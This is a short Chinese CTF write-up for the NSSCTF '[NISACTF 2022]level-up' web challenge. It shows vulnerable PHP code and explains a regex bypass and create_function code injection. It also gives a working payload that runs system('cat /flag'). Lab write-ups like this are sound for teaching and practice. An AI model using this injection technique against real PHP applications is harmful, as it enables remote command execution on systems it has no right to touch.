关于NSSCTF中一些web杂题

[NISACTF 2022]level-up

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
//sorry , here is true last level
//^_^
error_reporting(0);
include "str.php";

$a = $_GET['a'];
$b = $_GET['b'];
if(preg_match('/^[a-z0-9_]*$/isD',$a)){
show_source(__FILE__);
}
else{
$a('',$b);
}

前面简单的绕过,之谈最后一步,这里遇到$a('',$b);这样一个奇怪的步骤,由于$b前面有内容,直接命名代码执行显然行不通,那么这里就是很典型的代码注入绕过(create_function注入),如:

1
2
<?php
$c=create_function('$left,$right','return($left+$right);}eval($_GET[a]);');

这里实际上执行的是:

1
2
3
4
5
function c($left,$right)
{
return $left+$right;
}
eval($_GET[a]);

这样就很明白了,我们直接构造代码,读取文件,payload:

1
?a=\create_function&b=return 111;}system('cat /flag');/*

\是为了绕过正则,加\*是为了识别后面的代码